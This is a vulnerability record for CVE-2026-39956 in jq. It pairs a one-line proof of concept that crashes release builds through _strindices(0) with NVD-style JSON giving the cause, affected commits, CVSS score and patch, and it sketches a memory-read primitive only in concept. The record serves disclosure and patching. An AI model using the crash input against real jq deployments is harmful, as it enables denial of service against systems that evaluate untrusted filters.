CVE-2026-39956

# PoC for CVE-2026-39956 # Triggering a crash in jq release build by passing a number to _strindices echo '{}' | jq '_strindices(0)' # To demonstrate the memory read primitive concept (theoretical): # An attacker would craft a specific IEEE-754 double value representing a target address. # e.g., echo '{}' | jq '_strindices(<crafted_float_value>)'

{"cve": {"id": "CVE-2026-39956", "sourceIdentifier": "[email protected]", "published": "2026-04-13T23:16:27.653", "lastModified": "2026-04-21T23:54:19.223", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "jq is a command-line JSON processor. In commits after 69785bf77f86e2ea1b4a20ca86775916889e91c9, the _strindices builtin in jq's src/builtin.c passes its arguments directly to jv_string_indexes() without verifying they are strings, and jv_string_indexes() in src/jv.c relies solely on assert() checks that are stripped in release builds compiled with -DNDEBUG. This allows an attacker to crash jq trivially with input like _strindices(0), and by crafting a numeric value whose IEEE-754 bit pattern maps to a chosen pointer, achieve a controlled pointer dereference and limited memory read/probe primitive. Any deployment that evaluates untrusted jq filters against a release build is vulnerable. This issue has been patched in commit fdf8ef0f0810e3d365cdd5160de43db46f57ed03."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 4.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-476"}, {"lang": "en", "value": "CWE-843"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:jqlang:jq:*:*:*:*:*:*:*:*", "versionStartIncluding": "2026-04-02", "versionEndExcluding": "2026-04-08", "matchCriteriaId": "268F5CFD-46C6-4090-A7CD-F85927DE3B70"}]}]}], "references": [{"url": "https://github.com/jqlang/jq/commit/fdf8ef0f0810e3d365cdd5160de43db46f57ed03", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-6gc3-3g9p-xx28", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/jqlang/jq/security/advisories/GHSA-6gc3-3g9p-xx28", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}